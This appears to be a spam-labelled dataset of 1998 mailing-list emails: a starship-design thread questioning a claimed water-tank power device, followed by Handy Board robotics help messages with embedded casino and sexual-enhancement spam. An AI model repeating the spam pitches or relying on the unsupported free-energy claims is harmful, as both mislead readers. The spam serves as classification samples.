""nlindber@u.washington.edu"" nil ""48"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2656 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA11541 for starship-design-outgoing; Wed, 5 Aug 1998 09:52:38 -0700 (PDT) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA11526 for ; Wed, 5 Aug 1998 09:52:35 -0700 (PDT) Received: from dante09.u.washington.edu (nlindber@dante09.u.washington.edu [140.142.15.35]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA25858; Wed, 5 Aug 1998 09:52:35 -0700 Received: from localhost (nlindber@localhost) by dante09.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA13648; Wed, 5 Aug 1998 09:52:34 -0700 In-Reply-To: <19980804.214419.9718.1.jon_jay1@juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: Jonathan J Jay cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Wed, 5 Aug 1998 09:52:34 -0700 (PDT) Jonathan, Where does the energy come from, that is, what is the theoretical basis of operation? Are the 'rods' consumed by the reaction? How many watts does the thing put out? Could you give an explanation of the device. What is the composition of the three 'rods' and the 'special ingredient' and how come it costs so much? How are the rods placed in the tank, do they touch, are they partially or completely immersed, are the rods changed any when the reaction starts., where do the power leads come out of the tank, and is the reaction self-starting, or does it require some activation energy? The reason why I ask is that I suspect your friend has gone and made himself a chemical battery. Tell him to try running it without one of the rods or switching it around and see what happens. 220,284 Nels On Tue, 4 Aug 1998, Jonathan J Jay wrote: > A friend of mine reads my e-mails after me and after reading about the > Thermoelectric Inductor(T.E.M.I.), he wished me to inform the group about > an experiment of his in which he believes it may be the answer to low > output clean energy with zero maintenance. It is a hyroniline tank. A > friend of his at the university believes it will work but he will need > MAJOR funding to implement a bigger model than the one he has already > made. The one he has built is only about 10 centimeters long and produces > between 15 and 30 volts depending on it's mood. He hasn't altered it's > condition now for over three weeks and it is still going strong. It is > hooked up to a transformer and from there to a low wattage light bulb. > When he sees the bulb go out, he will know the average life-span of the > unit. > It works primarily on activating, no... exciting the water molecules in > the tank using three different elemental bars. With an added bit of the > special ingredient, the tank produces power. He is not sure, however, if > the tank will produce more energy on a larger scale but for now it looks > promising. > Incidently, It cost him over 800 dollars just to buy enough of three > different materials for the rods and the rods are only an eighth of an > inch wide and barely an inch long! It will cost a fortune to build a > larger model. The only thing that worries him is that it seems to slow > down when cold so he wanted to ask the group how he could overcome that > problem in a star drive. It is minus 200 > up there! > > _____________________________________________________________________ > You don't need to buy Internet access to use free Internet e-mail. > Get completely free e-mail from Juno at http://www.juno.com > Or call Juno at (800) 654-JUNO [654-5866] > >From VM Thu Aug 6 09:37:51 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3405"" ""Thu"" ""6"" ""August"" ""1998"" ""08:38:46"" ""-0500"" ""Jonathan J Jay"" ""jon_jay1@juno.com"" nil ""90"" ""Re:Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 3405 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id GAA29916 for starship-design-outgoing; Thu, 6 Aug 1998 06:42:44 -0700 (PDT) Received: from x13.boston.juno.com (x13.boston.juno.com [205.231.100.27]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id GAA29908 for ; Thu, 6 Aug 1998 06:42:42 -0700 (PDT) Received: (from jon_jay1@juno.com) by x13.boston.juno.com (queuemail) id DKYL347B; Thu, 06 Aug 1998 09:40:21 EDT Message-ID: <19980806.083848.4702.2.jon_jay1@juno.com> References: X-Mailer: Juno 1.49 X-Juno-Line-Breaks: 2-6,8,10-13,15-22,24-36,38-60,62-67,69-72,74-75,77-84 Precedence: bulk Reply-To: jon_jay1@juno.com (Jonathan J Jay) From: jon_jay1@juno.com (Jonathan J Jay) Sender: owner-starship-design@lists.uoregon.edu To: nlindber@u.washington.edu Cc: starship-design@lists.uoregon.edu Subject: Re:Re: starship-design: Power - T.E.M.I Date: Thu, 6 Aug 1998 08:38:46 -0500 He was not entirely sure how to answer ALL your questions but he answered what he could. Hopefully with the information provided you should be able to understand and possibly even answer the rest of the questions. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Q> Where does the energy come from, What is the theoretical basis of operation? A> He believes the energy comes from particles in the fluid making contact with the rods and being shoved around the tank constantly slamming into the rods making more energy. That is the basis of operation, he thinks. Q> Are the 'rods' consumed by the reaction? A> No. Not in the slightest bit. The rods are still the exact measurements they started at. Q> How many watts does the thing put out? A> He is unsure about watts, but it makes 15 to 30 volts at 1.2 amps constantly. Q> Could you give an explanation of the device? A> Essentially, it is a circular 'tank' filled with fluid and then the rods are inserted. Q> What is the composition of the three 'rods'? A> One is Iron. (Fe) The other two are classified. Q> What is the Special Ingredient? A> KENTUCKY FRIED CHICKEN!!!!! Not. It is secret, but granular. Q> How come it costs so much? A> Because one rod is made of a precious metal. Not gold or silver. Q> How are the rods placed in the tank? A> He inserted the base of each rod into a predrilled groove in the bottom of the tank for each rod. Q> Do they touch? A> Each other? No. Q> Are they partially or completely immersed? A> Completely. Q> Are the 'rods' changed any when the reaction starts? A> They heat up about 11 degrees centigrade but that's it. Q> Where do the power leads come out of the tank? A> The two leads are taped to the side of the tank. Then they go over the edge and are immersed in the fluid with the bare ends dipped at least two centimeters under. Q> Is the reaction self starting or does it require a kick start? A> He isn't sure. He was going to give it a kick start but it started by itself. Just to be on the safe side, he did give it a kick start but is unsure if that helped any. Q> Could it run with one rod missing or alternating their positions? A> No. It could run with one rod missing for two minutes but no longer. And the rods HAVE to be in that position. On Wed, 5 Aug 1998 09:52:34 -0700 (PDT) ""N. Lindberg"" writes: >Jonathan, > Where does the energy come from, that is, what is the theoretical >basis of operation? Are the 'rods' consumed by the reaction? How many >watts does the thing put out? Could you give an explanation of the >device. What is the composition of the three 'rods' and the 'special >ingredient' and how come it costs so much? How are the rods placed in the >tank, do they touch, are they partially or completely immersed, are the >rods changed any when the reaction starts., where do the power leads come >out of the tank, and is the reaction self-starting, or does it require >some activation energy? The reason why I ask is that I suspect your >friend has gone and made himself a chemical battery. Tell him to try >running it without one of the rods or switching it around and see what >happens. >220,284 >Nels _____________________________________________________________________ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com Or call Juno at (800) 654-JUNO [654-5866] >From VM Thu Aug 6 10:49:44 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1974"" ""Thu"" ""6"" ""August"" ""1998"" ""10:35:39"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""46"" ""starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1974 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA02822 for starship-design-outgoing; Thu, 6 Aug 1998 10:35:46 -0700 (PDT) Received: from hexadecimal.uoregon.edu (hexadecimal.uoregon.edu [128.223.32.56]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA02817 for ; Thu, 6 Aug 1998 10:35:43 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by hexadecimal.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA27865; Thu, 6 Aug 1998 10:35:29 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.8.8/8.8.8) id KAA16144; Thu, 6 Aug 1998 10:35:40 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13769.59755.452312.778225@tzadkiel.efn.org> In-Reply-To: <19980806.083848.4702.2.jon_jay1@juno.com> References: <19980806.083848.4702.2.jon_jay1@juno.com> X-Mailer: VM 6.59 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: jon_jay1@juno.com (Jonathan J Jay) Cc: nlindber@u.washington.edu, starship-design@lists.uoregon.edu Subject: starship-design: Power - T.E.M.I Date: Thu, 6 Aug 1998 10:35:39 -0700 (PDT) Jonathan J Jay writes: > He was not entirely sure how to answer ALL your questions but he answered > what he could. Hopefully with the information provided you should be able > to understand and possibly even answer the rest of the questions. > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > Q> Where does the energy come from, What is the theoretical basis of > operation? > A> He believes the energy comes from particles in the fluid > making contact with the rods and being shoved around the tank > constantly slamming into the rods making more energy. That is > the basis of operation, he thinks. Uh huh. I still think it's a chemical battery; he seems to think it's some kind of thermal engine. Either way it's not a useful power source for a starship drive, because it's not going to yield enough energy. Nuclear fusion is barely capable of generating enough energy to accelerate a spacecraft to relativistic speeds, and then only with a very high fuel-to-payload ratio. > Q> Are the 'rods' consumed by the reaction? > A> No. Not in the slightest bit. The rods are still the exact > measurements they started at. Uh huh. What measurements are these? > Q> How many watts does the thing put out? > A> He is unsure about watts, but it makes 15 to 30 volts at 1.2 amps > constantly. Oooh, this is a bad sign. If he doesn't know enough about physics to calculate wattage from those figures, I'm not going to be particularly trusting of his other claims. W = V * A. It puts out 18-36 watts. ""Constantly?"" For how long? It can't last forever. > Q> Are the 'rods' changed any when the reaction starts? > A> They heat up about 11 degrees centigrade but that's it. Yet another sign that it's probably no more than a chemical battery. I really think this is not something we should be discussing on starship-design. I didn't set up this list to be a ""kook science"" forum or a place to discuss proprietary battery designs. >From VM Thu Aug 6 15:46:15 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2586"" ""Thu"" ""6"" ""August"" ""1998"" ""15:36:47"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""62"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2586 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA24721 for starship-design-outgoing; Thu, 6 Aug 1998 15:36:51 -0700 (PDT) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA24716 for ; Thu, 6 Aug 1998 15:36:49 -0700 (PDT) Received: from dante10.u.washington.edu (nlindber@dante10.u.washington.edu [140.142.15.36]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA20132; Thu, 6 Aug 1998 15:36:48 -0700 Received: from localhost (nlindber@localhost) by dante10.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA77220; Thu, 6 Aug 1998 15:36:48 -0700 In-Reply-To: <13769.59755.452312.778225@tzadkiel.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: Steve VanDevender cc: Jonathan J Jay , starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Thu, 6 Aug 1998 15:36:47 -0700 (PDT) Jon, Do the leads touch the metal posts? if so, then i can guarantee you that your friend's has built himself an extremely expensive, low power wet cell. if not, well....(shrug). I'm afraid i have to agree with Steve in his estimation of yr friend's physics skills, no offense. Also, what does this have to do with TEMI? I mean, you never mentioned the Peltier effect, and your friend gave no indication of a TE diode being part of his apparat. Best Regards Nels On Thu, 6 Aug 1998, Steve VanDevender wrote: > Jonathan J Jay writes: > > He was not entirely sure how to answer ALL your questions but he answered > > what he could. Hopefully with the information provided you should be able > > to understand and possibly even answer the rest of the questions. > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > Q> Where does the energy come from, What is the theoretical basis of > > operation? > > A> He believes the energy comes from particles in the fluid > > making contact with the rods and being shoved around the tank > > constantly slamming into the rods making more energy. That is > > the basis of operation, he thinks. > > Uh huh. I still think it's a chemical battery; he seems to think > it's some kind of thermal engine. Either way it's not a useful > power source for a starship drive, because it's not going to > yield enough energy. Nuclear fusion is barely capable of > generating enough energy to accelerate a spacecraft to > relativistic speeds, and then only with a very high > fuel-to-payload ratio. > > > Q> Are the 'rods' consumed by the reaction? > > A> No. Not in the slightest bit. The rods are still the exact > > measurements they started at. > > Uh huh. What measurements are these? > > > Q> How many watts does the thing put out? > > A> He is unsure about watts, but it makes 15 to 30 volts at 1.2 amps > > constantly. > > Oooh, this is a bad sign. If he doesn't know enough about > physics to calculate wattage from those figures, I'm not going to > be particularly trusting of his other claims. W = V * A. It > puts out 18-36 watts. ""Constantly?"" For how long? It can't > last forever. > > > Q> Are the 'rods' changed any when the reaction starts? > > A> They heat up about 11 degrees centigrade but that's it. > > Yet another sign that it's probably no more than a chemical > battery. > > I really think this is not something we should be discussing on > starship-design. I didn't set up this list to be a ""kook > science"" forum or a place to discuss proprietary battery designs. > >From VM Fri Aug 7 09:38:47 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1841"" ""Fri"" ""7"" ""August"" ""1998"" ""10:35:36"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""64"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1841 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id BAA00277 for starship-design-outgoing; Fri, 7 Aug 1998 01:35:42 -0700 (PDT) Received: from sabik.tdb.uu.se (ppB4lkDvkVHuap4DbUIvz0msQ+tG5DkF@sabik.tdb.uu.se [130.238.138.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id BAA00270 for ; Fri, 7 Aug 1998 01:35:39 -0700 (PDT) Received: from localhost (f96bni@localhost) by sabik.tdb.uu.se (8.8.8/8.8.8/STUD_1.1) with SMTP id KAA12619 for ; Fri, 7 Aug 1998 10:35:36 +0200 (MET DST) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <13769.59755.452312.778225@tzadkiel.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Fri, 7 Aug 1998 10:35:36 +0200 (MET DST) Personally I think this whole thing is a hoax... (No offence intended to anyone) On Thu, 6 Aug 1998, Steve VanDevender wrote: > Jonathan J Jay writes: > > He was not entirely sure how to answer ALL your questions but he answered > > what he could. Hopefully with the information provided you should be able > > to understand and possibly even answer the rest of the questions. > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > Q> Where does the energy come from, What is the theoretical basis of > > operation? > > A> He believes the energy comes from particles in the fluid > > making contact with the rods and being shoved around the tank > > constantly slamming into the rods making more energy. That is > > the basis of operation, he thinks. > Sounds ""almost"" like a perpetual Motion machine to me! Unfortunatly those things aint posible :) ""Lisa, In this house we obey the laws of thermodynamics!"" Hommer simpson. > > > Q> How many watts does the thing put out? > > A> He is unsure about watts, but it makes 15 to 30 volts at 1.2 amps > > constantly. Well, this is what makes me sceptical of the whole thing... No way are you gona get 15-30 Volts from an electrochemical cell and from the discribtion I can't imagine what else would make it work... > > Oooh, this is a bad sign. If he doesn't know enough about > physics to calculate wattage from those figures, I'm not going to > be particularly trusting of his other claims. W = V * A. It > puts out 18-36 watts. ""Constantly?"" For how long? It can't > last forever. > > > I really think this is not something we should be discussing on > starship-design. I didn't set up this list to be a ""kook > science"" forum or a place to discuss proprietary battery designs. > Heh heh, you might be right! :) Bjornie",0,1 Yesenia Whitehead ,handyboard@media.mit.edu,"Thu, 09 Jul 1998 11:18:15 +0200",Feel like getting rich in the comfort of your own home?,"Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? Welcome to Hi Roll= er Casino, Where Fortunes are Made! Hi Roller Casino offers over 60 interactive games, including six progressi= ve slots and three progressive games that have paid out some of the largest online jackpots in history! Even better. Hi Roller Casino will give you $1= 0 Free when you download the free software and open a real account. Once you've opened your REAL account and made your first deposit, Hi Roller Casino will match it up to $888. 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There is no need to unsubscribe as this is a one time only email ",1,1 GJZ@aol.com,"ilya@flight.uchicago.edu, handyboard@media.mit.edu","Wed, 08 Jul 1998 15:47:48 -0400",Re: ic help,"the addresses must be specified in decimal. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 Gia Nhan ,'Aaron Edsinger' ,"Wed, 08 Jul 1998 22:07:57 -0400",RE: Inclinometer for Handyboard,"In the previous message, the word 2-dimensional is incorrect. It should be 2-axis > ---------- > From: Nhan, Gia [FITZ3:9D44:EXCH] > Sent: Wednesday, July 08, 1998 10:05 PM > To: 'Aaron Edsinger' > Cc: 'handyboard@media.mit.edu' > Subject: RE: Inclinometer for Handyboard > > You could use the effect of gravity force and a potentiometer (variable > resistant) to create > such thing. In fact if you use a joystick mechanism (or quadraphonic > double-potentiometer > volume control in the old day) in upside down position and have a heavy > weight attached > at the joystick end. Voila, you have a 2-axis inclinometer for cheap. > > Cheers, > Nhan, Hong Gia > > ---------- > From: Aaron Edsinger[SMTP:aarone@sirius.com] > Sent: Tuesday, July 07, 1998 5:22 PM > To: handy > Subject: Inclinometer for Handyboard > > Hello, > I've been searching, without much luck for a single axis > inclinometer with > a reasonable settle time and +-30 degree resolution, for less than > $50. > Anyone have any leads? > > Thanks, > Aaron > > ",0,0 Pandit Panburana ,"Ilya , handyboard@media.mit.edu","Wed, 08 Jul 1998 22:55:07 -0400",Re: ic help,"Hi LLya, Actually, descriptions of these functions are described in HB manual, at least mine has. peek() returns integer value for the given location passed in as the parameter. For example: value = peek( 0x200); The peek returns the int. value starting at location 0x200. poke() is a function that does not return any value but takes 2 parameters as the location and the value to put in at the location specified. For example: poke (0x200, 0x10); The above example will put value 0x10 at 0x200 (i.e. one byte poke). -Pandit ---------- > From: Ilya > To: handyboard@media.mit.edu > Subject: ic help > Date: Wednesday, July 08, 1998 11:10 AM > > > > Can someone please shed some light on the commands ""peek"" and ""poke"" for > Interactive C. For some reason I am having trouble with the syntax. > > Thank you >",0,0 Gia Nhan ,"""'handyboard@media.mit.edu'"" ","Wed, 08 Jul 1998 22:50:49 -0400",FW: Inclinometer for Handyboard," > You could use the effect of gravity force and a potentiometer (variable > resistant) to create > such thing. In fact if you use a joystick mechanism (or quadraphonic > double-potentiometer > volume control in the old day) in upside down position and have a heavy > weight attached > at the joystick end. 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In fact if you use a joystick mechanism (or quadraphonic double-potentiometer volume control in the old day) in upside down position and have a heavy weight attached at the joystick end. Voila, you have a 2-dimensional inclinometer for cheap. Cheers, Nhan, Hong Gia > ---------- > From: Aaron Edsinger[SMTP:aarone@sirius.com] > Sent: Tuesday, July 07, 1998 5:22 PM > To: handy > Subject: Inclinometer for Handyboard > > Hello, > I've been searching, without much luck for a single axis > inclinometer with > a reasonable settle time and +-30 degree resolution, for less than $50. > Anyone have any leads? > > Thanks, > Aaron > ",0,0 Fannie ,handyboard@media.mit.edu,"Thu, 09 Jul 1998 20:08:40 +0600",increase seman Fannie ,"Hi, em..... I gotta tell you something. Some years ago I used to watch porno often. I always admired those guys cumming. They splashed out so much sperm on their girls, it looked so cool, so manlike. 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Gathright -----Original Message----- From: David Kott To: Terry Gathright <669@worldnet.att.net> Cc: handyboard@media.mit.edu Date: Tuesday, July 07, 1998 6:12 PM Subject: Re: check_sensors.c >On Fri, 3 Jul 1998, Terry Garthright wrote: > >> >> /* GLOBALS*/ >> >> int num_sensors =6 /* put the number of analog sensor inputs you want*/ > >All C declarations must be terminated with a semicolon. Try : > >int num_sensors = 6; > ^ > >> >> void main() >> >> { >> >> int sensors[num_sensors]; >> >> int counter; >> >> while >> > >is this legal syntax for ""while""? Try: > >while (1) > >> { >> >> counter = 0; >> >> while (counter < num_sensors) >> >> { >> >> sensors[counter] = analog(counter); >> >> printf(""%d"",sensors [counter] ); >> >> counter++; >> >> } >> >> printf(""/n""); >> >> sleep(.5); >> >> } >> >> } >> >> > >If you just wanted to print out the analog sensor value, do you really >want to dump them into an array? > >void main() { >int iIndex; > > while (1) { > for (iIndex=0; iIndex <= 6 ; iIndex++) > printf(""%d"",analog(iIndex)); > } > printf(""\\n""); > msleep(500L); >} > > >I think my IC skills are a bit rusty; there may be errors in my >implementation. > > -d >The box said ""Requires Windows 95/NT or better""... > So I got Unix. > >Free the Source. Free your Computer... http://www.FreeBSD.org > http://www.NetBSD.org > http://www.OpenBSD.org >",0,1 qsyvo mpcoeapbd ,"handyboard@media.mit.edu, elisabeth@media.mit.edu","Fri, 10 Jul 1998 00:16:19 +0100",Your PR man [NEWS] earsplitting contestant,"Apparel Manufacturing Associates, Inc. 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What i'm not sure of is the installation of the chip select funtionality, and if they are working correctly. i have internal ram mapped from $0000 to $03ff registers from $1000 to $105F eeprom in the highest area $FEF0 or something to $FFFF Has anyone some example code of how to initialise the CS (CSGEN for ram and CSPROG for flash). Is it OK to run the hc11 16mhz version at 8 Mhz?? Regards Richard ",0,0 Richard meester ,"""handyboard@media.mit.edu"" ","Fri, 10 Jul 1998 10:08:55 +0200",assembler,"Hello, can anyone tel me the function of the # in the AS11 assembler, i'm new at assembler programming and get sometimes confused about the usage of the # # means a number, but what's the difference between: ldaa #$1000 and ldaa $1000 Thanks, ",0,0 Ryan ,handyboard@media.mit.edu,"Fri, 10 Jul 1998 00:47:50 -0500",Hottest Diet in America,", cobra in troubador a auditory it parameter in truly ",1,0 Bernd Klein ,Richard meester ,"Fri, 10 Jul 1998 11:57:52 +0200",Re: assembler,"Hi Richard, Sorry for my bad english (normaly i speek german). The 68hc11 has differnt kinds of addressing-modes. 1) LDAA #65 : immediate adress, The value is stored in accumulator 2) LDAA result : direct Adress The value from adress RESULT is stored in accumulator (8Bit Adress) 3) LDAA PORTA : extended Adress The value from adress RESULT is stored in accumulator (16Bit Adress) 4) LDAA X : Index X- adressing The value from adress stored in X is stored in accumulator 5) LDAA 3,Y : Index Y-adressing Like (3), but there is an 3-Byte offset (adressoffset !!!) to 1) The value is stored ""immediate"" into the accumulator to 2) only 8Bit Adressingmode (256 Bytes) to 3) It is possible to adress 64K (16Bit - complete RAM-Memory) to 4) Adressingmode for your X and Y Register. It is possible to use an offset Byte (shown at top 5) > but what's the difference between: > ldaa #$1000 > and > ldaa $1000 Like my explanation above. LDAA #$1000 The value $1000 is stored immediate into accumulator LDAA $1000 The value from adress $1000 is stored direct into accumulator !!!! I hope that´s all, good luck for programming your 68HC11 Bye Bernd Klein Richard meester schrieb: > Hello, > > can anyone tel me the function of the # in the AS11 assembler, > > i'm new at assembler programming and get sometimes confused about the > usage of the # > > # means a number, > > but what's the difference between: > ldaa #$1000 > and > ldaa $1000 > > Thanks, ",0,0 David Kott ,Aaron Edsinger ,"Wed, 08 Jul 1998 18:21:01 -0400",Re: Inclinometer for Handyboard,"On Tue, 7 Jul 1998, Aaron Edsinger wrote: > Hello, > I've been searching, without much luck for a single axis inclinometer with > a reasonable settle time and +-30 degree resolution, for less than $50. > Anyone have any leads? > > Thanks, > Aaron > > http://www.usdigital.com has inclinometers.. dunno how much they run however. -d The box said ""Requires Windows 95/NT or better""... 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If you know how to turn off MIME messages and HTML, please do so when posting to the Handy Board mailing list. Thank you and good bye. If you don't know what I'm talking about, please continue to read on. OK. If you're here, it's because you're not sure what I mean when I say ""no MIME attachments or HTML text."" Well, it's different for every mail system, but the basic idea is to turn off the pretty HTML colored and styled text options in your email program. For example, in Microsoft's ""Outlook Express"" mail program, there is a ""Message Composition"" preferences setting. In that screen, there are two choices for the ""Mail sending format"": HTML or Plain text. Please choose ""Plain text"" for maximum compatibility with Handy Board users. Nearly all mail programs should have a set of options like this. Please check your mail program and make sure it is NOT set to send HTML formatted email. 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Besides, the robot is using Stepper Motor to rotate the wheels. Within the 5m by 5m areas, there are ""mines"" has to be avoided. Hence, please advice what type of ALGORITHM has to be written in the program especially the every location of the robot has travelled. 2) In the handyboard, there are digital & analog inputs for the sensors. What is the difference between them when use in sensors? 3) Do I need to supply 5V to the digital & analog inputs in the handyboard if I use at least 15 sensors to be interface to the Handyboard?Besides, the type of sensors I use are retroreflective with 12 to 24v. Is there any problems, Currently, the robot is using a 4.5v Nicad battery to drive 2 stepper motor. Thank you very much. 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Sincerely, Larry Blank --part0_900475636_boundary-- ------------------------------ Date: Thu, 16 Jul 1998 00:07:02 EDT From: To: BTRVETC-L@genealogy.org Cc: sharons_44@yahoo.com Subject: John Burnett and Nancy Pendleton (Patrick Co & Russell Co VA) Message-ID: Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Greetings to Everyone: Can anyone help Sharon with her John Burnett and Nancy Pendleton Burnett family? I've encouraged Sharon to join our BTRVETC-L. Nyla CREED DePauk ========= Subj: Re: What surname Date: 98-07-15 23:22:54 EDT From: sharons_44@yahoo.com (sharon stine) To: NCreed1@aol.com Thank you for your answer. It was the Burnett family in Patrick Co. Va. I have been researching the Burnetts. Mine is John Burnett who married Nancy Pendleton in 1806. So far I only have two of their children Mary who married Jonathan Boyd and Samuel. They with Nancy because John had died by 1828 moved to Russell Co. VA. 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I have tried: > dlm config0c.s19 -eeprom -256 (I have an A1) > dl config0c.s19 -eeprom > dl pcode_hb.s19 -config_reg 0x0c and almost every other combination of parameters possible. Both programs download the boot loader okay. DLM always terminates with: Synchronizing with board.......................failed. while DL gives me: Download successful Board sync error: looking for prompt, got 0 Synchronizing with board Board not responding I have used my HB with no problems whatsoever for the last 6 months, so I know my PC/serial port setup is fine. I am curious, however, as I have never seen 0x3c discussed before (it is always 0x0c, 0x0d, 0xff) and wonder where this comes from. Could it be a hardware issue? I am suspicious because I then replaced my A1 chip with an E2 chip that I *believe* still works, and I still get the 0x3c error! My power system seems fine (I have 5v on board), but could I have a hardware error somewhere? Any idea where to begin debugging? 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I want to add the greek character, miu ( the one that looks like italized 'u') I will be very grateful if anyone can help me out this. Cheer! Felix Adekola ",0,0 David Rye ,handyboard@media.mit.edu,"Thu, 16 Jul 1998 15:16:51 +1000",Handyboard/RWP without p-code,"Hi All, I would like to use the Rug Warrior board (similar configuration as the Handyboard) with conventional tools - assembler, C compiler, monitor. No Interactive C or p-code, and I am prepared to run the board in bootstral/expanded modes without the LCD. I have both the Motorola and IAR Systems C compilers, and the Buffalo monitor. Does anyone have experience with such an application of either the RW board or the Handyboard? Any advice, contacts or pointers much appreciated... Thank you for your assistance. am mailing to ask for some assistance with the RW board, at Fred Martin's suggestion... We are in the process of pulling up a new undergrad course (2nd semester sophmore) based partially around interactive C 3.2 and the Rug Warrior Pro, as distributed by AK Peters. We have about 2 weeks to get everything set... We plan to use IC for some of the class, and also to use the RWP board with commercial assemblers/compilers and a monitor (we have both Motorola and IAR Systems (Archimedes) C compilers) No problems with IC, but I am hoping that yoy can assist with advice on the RWP board. Do you know of anyone who has used either the RW or handy boards with a ""traditional"" assembler/compiler? (no p-code, bootstrap/expanded mode, no LCD). I that case, how do I go about making (e.g.) Buffalo resident on the RWP board? Can I use the bootstrap mode to load the monitor, then use Buffalo to load the user's code? Any advice/contacts/pointers appreciated. (my background - good experience in microprocessors and microcontrollers, electronics, C, cross development tools, etc, but have not used the 68HC11. Learning fast...) Thank you for your assistance. Regards, D. +----------------------------------------------------------+ | Dr. David Rye | | Dept. of Mechanical & Mechatronic Engineering J07 | | The University of Sydney 2006 NSW, AUSTRALIA | | URL : http://www.mech.eng.usyd.edu.au/ACFR | | Phone : +61 2 9351 2286 or +61 2 9351 2341 | | Fax : +61 2 9351 7474 or +61 2 9351 3760 | +----------------------------------------------------------+ ",0,1 Chuck McManis ,David Rye ,"Wed, 15 Jul 1998 23:21:14 -0700",Re: Handyboard/RWP without p-code,"Get a copy of icc11 v5.0 or later (from www.imagecraft.com) and use the handyboard library from their site. --Chuck ",0,0 Scott Seaton - Systems Consultant - ESG ,"handyboard@media.mit.edu, rye@mech.eng.usyd.edu.au","Thu, 16 Jul 1998 16:41:56 +1000",Re: Handyboard/RWP without p-code,"Hi I suggest that you contact ImageCraft. http://www.imagecraft.com/software/index.html or info@imagecraft.com They have a C compiler for 68HC11 CPU's that will do what you want, including a library for the HandyBoard (see attached e-mail) ! I have no affiliation with ImageCraft (other than as a satisfied customer). Hope this helps Scott ============================================================================== ,-_|\\ Scott Seaton - Sun Enterprise Services - Systems Consultant / \\ Sun Microsystems Australia Pty Ltd E-mail : scott.seaton@aus.sun.com \\_,-\\_+ 828 Pacific Highway Phone : +61 2 9844 5381 v Gordon, N.S.W., 2072, AUSTRALIA Fax : +61 2 9844 5161 ============================================================================== ",0,1 phillip chia ,handybd ,"Wed, 15 Jul 1998 18:29:13 +0800",Request Help on the HD,"Hi, Currently, I using Seal Lead Acid batteries (1.2Amp hrs) of voltage 12 v to drive my Stepper Motor and photoelectric sensor. stepper motor using 3v and current is 2 Amp. Sensor is using 12v and current is 35mA max. The total sensors used are 7 .BTW, What is the 5v supply in use for in the 